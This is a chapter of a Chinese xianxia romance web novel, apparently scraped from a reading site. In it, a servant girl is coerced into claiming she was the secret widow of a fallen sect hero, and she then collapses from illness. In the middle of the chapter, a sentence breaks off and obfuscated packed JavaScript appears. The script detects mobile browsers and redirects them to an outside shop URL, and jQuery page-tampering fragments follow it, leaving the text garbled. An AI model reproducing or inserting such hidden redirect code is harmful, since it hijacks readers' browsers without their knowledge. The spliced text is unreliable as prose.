6. 仙门世家列五品

作品:《宿敌的妻子不能是我的吗

    一旁金胜昔缓缓瞪大双眼,张嘴呆愣,什么?谁的遗孀?


    大师兄?


    仙门百家流传至今,大都已经不太看中出身,无论平民百姓,抑或世家弟子,只要两情相悦,私下合籍的也不是没有。谢家现任家主,寒山君谢濯玉母亲崔霁,大名鼎鼎的盈光尊,当初便是出身凡俗,后来在道府内,寒霜一剑破天光,斩下谢父的发冠,从此两人结缘,没过几十年便定了合籍大礼,恩爱多年,世人传为佳话。谢父死后,盈光尊继任家主,谢氏也是日益昌盛。


    只是,谢氏家风严苛,规矩繁多,规定无论男女,一生一世一双人,道侣身死,不可嫁娶。谢生于谢氏,最是清正守礼,一言一行,历来是各家弟子效防的道德楷模。


    这样的人,动情都难,又怎会私下合籍?还是和这个,资貌不丰的杂役弟子,实在令金胜昔难以接受。


    江逾白也低头侧目,瞥向地上那杂役,此时瘫坐着,头用力向后仰,咧着嘴,挤出一圈脸颊肉。蓬头垢面,身形瘦小,穿着破旧臃肿的棉袄,肤色倒算白皙,看起来年纪也不大,实在——


    “不是不是,君上,您认错了,弟子不过一小小杂役,怎么可能认识高高在上的寒山君呢。况且弟子上山三年,翻春才十六岁,这细胳膊细腿儿,就算心生妄念也攀附不上啊。”


    这怎么还给她给名分啊,遗孀可不是什么好词儿!不要乱说啊。李好仰头尽力避让着伸到下巴下的剑,欲哭无泪。


    快要碰上了。


    王从道皱了皱眉,有些不满。他寻常虽不留意陌生弟子,可一张仔细瞧过的脸,也是记得的。况且,去年冬岁里,这弟子在执律堂后殿休憩,口出妄言,令他印象极深,后来他还亲自描了画像去问了谢夷。那厮盯了半晌,脸上表情先是喜,又一会儿悲一会儿释然,跟死了的妻子突然活了,却跟人跑了一样。


    但谢夷没有否认,他点了点头,道如果以后她遇到难处,让王从道暗地里多照拂一二。那时王从道不解,心头对谢夷嗤然,若是真心相待,又怎会将自己的爱人托付给别人照顾,看来也不是很爱,多半是用容貌家世欺骗了人小姑娘。


    谢夷的一切都得来的太过容易,于内,天生剑骨、极品灵根、姿容俊雅。于外,举世第一的师尊、威严慈爱的母亲、和睦繁荣的家族,如今就连妻子也如此轻易的拥有了吗?


    世人皆爱寒山君,无人知他王从道。


    现在,谢夷终于死了。


    真是,大快人心。


    可令王从道更厌恶的是,连他都无法否认,谢夷品行的确称得上端方君子,举世无双。


    那三十八条罪状呈到他面前的时候,王从道感到命运巨大的戏弄,一直拦在面前的巨石以一种荒诞的方式滚落山崖,谢夷被骂的体无完肤。


    府主斩杀,母亲冷漠,家族割离。


    世人皆恶寒山君。


    谢夷原来和他一样,什么也没得到。


    王从道看着坐地歪七扭八的女弟子,她也会像其他人一样,抛弃谢夷吗?


    “不是?”


    王从道眼神幽深冰冷,剑尖划上跪坐人的脖颈,一缕血丝溢出,沿着皮肉缓缓滑落,没入衣襟。


    “遵《道盟正纪·三千律》第七百三十八条律令,偷盗法宝者,废除灵根,逐出道府——”


    “是是是,我是,剑是谢濯玉送我的!我们两情相悦,私定终身!”


    随着脖子传来一阵刺痛,李好大声吼出,声音嘶哑,闭眼不敢再看。


    黄泉之下,谢濯玉恐怕也没想到还能有此一劫,死后不但品行要被踏进泥里,就连名声也要配个阴婚,清白都不能留。李好后怕之余感慨万千,兜兜转转,又和谢濯玉扯上了关系。


    还好他死了,不知道。


    执律化为一道流光消失,王从道又慢吞吞地蹲下,伸手刨了刨面前人凌乱的额发,露出李好那张双眼紧闭,皱成包子的脸。


    勉强清秀。


    王从道冷冷地道:“谢夷已经死了,不怕我定你一个勾结邪道的罪吗?”


    无妄之灾,横竖都是死。


    李好皱着的脸慢慢舒展,她睁开眼,双腿往后蹭了蹭,一副唯恐避之不及的模样。神情恹恹,她打算破罐子破摔,反正她今天看来是非死不可了。


    这些大人公子的,本就不拿杂役当人看,何况修罗心的王从道。她本就孑然一身,无甚牵挂,也没有花不完灵石财宝令她心疼,遗书都不用写一封。早知道就在那场大火里自挂东南枝,和父亲一起烂在扶光城了,也算落叶归根。


    哪像现在,扫了三年的雪,平白无故死于非命,尸体都不一定有人收。


    李好抬头,直视王从道的眼睛,道:“任凭君上评说,弟子问心无愧。大师兄一事,我的确不了解真相,但是弟子,弟子此生虽然与大道无缘,却也敢说无半分行差踏错,善恶到头终有报,因果自有上天评判,只求君上不要牵连他人。”


    一串儿话语不徐不疾,清晰沉稳,显出掷地有声来。


    王从道恍惚,这幅装模作样的样子,倒真有几分像引得众生抬爱的谢濯玉。吓唬人的表情褪下,王从道揣手,好奇问道:


    “你读过书?可曾会写?”


    怎么又问到这儿来了?李好不解,但还是谨慎回道:“没读过,不会写,只认识几个字。”


    金胜昔听到这杂役竟然还大字不识,心中更是怒气翻涌,一时气急,大步上前,拽住李好的衣领子就往上提。


    西州金氏和东州王氏,互为姻亲,本就交往甚密,王从道母亲就是金氏人,按照辈分,金胜昔还要喊王从道一声表兄,虽然这个表兄要大他一百多岁。他出生时,离涯君王从道已经是执律堂副堂主,闻名遐迩几十年。今年金胜昔已满十五,此番被母亲赶来道府修行,一是为明年的祈春大会,通过才算成为道府正式弟子,二是等垂天府主出关,看看能不能拜入那白玉京。实在不行,他亲舅舅明华君金青玄就在十二主山之一的法修之地太清山,他能在垂天道府肆意横行,除了金家势大,未尝没有执掌垂天律法的离涯君和新一代第一法修的明华君的纵容。做为从小听着“浮生第一寒山君”的故事长大的金胜昔,早就将其视为不可超越不可亵渎的仙人,如今李好这人污蔑大师兄清白,金胜昔想破口大骂,可是禁言令尚未解除,只得咬牙,只觉得一股恶气盈胸,恨不得咬的是李好的肉。


    不知这金小公子突发什么脑疾,李好被拽得重心不稳,脑袋本就烧得沉重,现在更是一晕,脚下一出溜,差点摔倒。双手被缚,眼皮沉重,她只能抬头去看金胜昔,看那精致姝丽的五官乱飞,在眼前重重叠叠,张


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742275|189693||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    嘴狂吠却发不出声,倒是飞出一两点唾沫星子来。


    再是天之骄子举世无双的美少年,如此形状,也看不出什么“仙人五品”之风来了。


    灵根难有,仙缘难寻。浮生界大,在凡俗聚居之地,几十年难出一个五灵根,修至筑基便敢自称为仙人。下九州,也多的是一宗长老不过元婴。


    偏偏浮生第一宗门垂天道府,掌道盟,寻常双灵根也只能做个外门弟子,来往天才如过江之鲫。虽仍尚武,但也尚礼,以“仙人五品”——天赋、姿容、仪态、品行、学识将人划分为三六九等,仙门世家莫不遵循其道,天赋出众姿容稍逊者,空有蛮力;姿容绝世学识不丰者,脑袋空空。五品男子谱排名第一的,便是寒山君谢濯玉,就连金胜昔,今年也够上了谱尾,排九十七。


    谱上有名者,既可以入道府各堂任职,也有仙门世家花大价钱请来做客卿,就连王谢金宋四大家,也不可免俗。


    是故众弟子莫不是卷生卷死,想上仙人五品谱。却不想五品之上还有一品没有明言。只是可怜她养兄裴慎,努力杀妖修行,想登上仙人五品谱,入执律堂,查清覆灭空丘裴氏满门的凶手。到头来落了个客死他乡尸骨无存的下场,到死都以为是自己不够努力,才未能得上五品谱,未能为家人报仇。


    金胜昔这般,也算五品仙人么?


    李好心想,也不过如此。


    意识渐渐有些涣散,最后,李好只听到王从道的冷漠声音响起,眼前一黑,就什么都看不到了。


    “金满,放开,金青玄就是这般教你么?”王从道皱了皱眉,缓缓起身,金氏这孩子被宠的愈发无法无天了,在他面前都敢放肆,金青玄真是,近些年藏在太清山上,不知道忙些什么,愈发不管事了。金氏商人做派,最擅长算计人心,怎会教出来如此愚蠢的小辈。


    听到王从道的话,金胜昔神智恢复,吓得看了离涯君一眼,不敢再造次,刚想要松手。


    欸?不对,怎么这么烫?灼热的呼吸喷洒在在手上,轻柔柔的,像朱雀羽毛在挠,金胜昔感受到右手传来一阵麻意,被这杂役用呼吸擎住了麻筋。他慌忙看向这杂役的眼睛,借着一缕天顶泄露的一缕日光,他才发觉这双眼睛色如垂天道府终年不绝的云山雾海,浅淡近灰,有些非人感,此时半睁半寐,有几分像寺庙里的菩萨像,垂眼注视着他,显得有些悲悯。


    随后手下一重,头一歪,人彻底栽倒。


    金胜昔心头狂跳,只好把人揽在怀里,慌乱间四处张望,求助地看向离涯君。


    ”——师兄!她突然就晕倒了,我可什么都没干啊。”怀中人如坠千斤,金胜昔甚至没有发现他能说话了,只一昧地提着胳膊,好不让人滑下去。


    见状,王从道拿住手腕,一点,脉浮而紧,肝气郁结,气血虚弱,是体弱不足又长期受饿之症。又逢寒邪浸体,自身灵力微薄,难以抵抗,一副破败身体,短命之象,谢夷怎的将她养地这般差?


    “她叫什么名字?”


    王从道收回手,问向金胜昔。想着既然受了谢夷一托,也算是遗言。作为同门,他便照拂一二,才不损因果。


    金胜昔哑然,他只是在九重学宫见过几次她,谁管一个杂役叫什么啊。转头看向江逾白,见他思索片刻,也摇了摇头。


    两人面面相觑。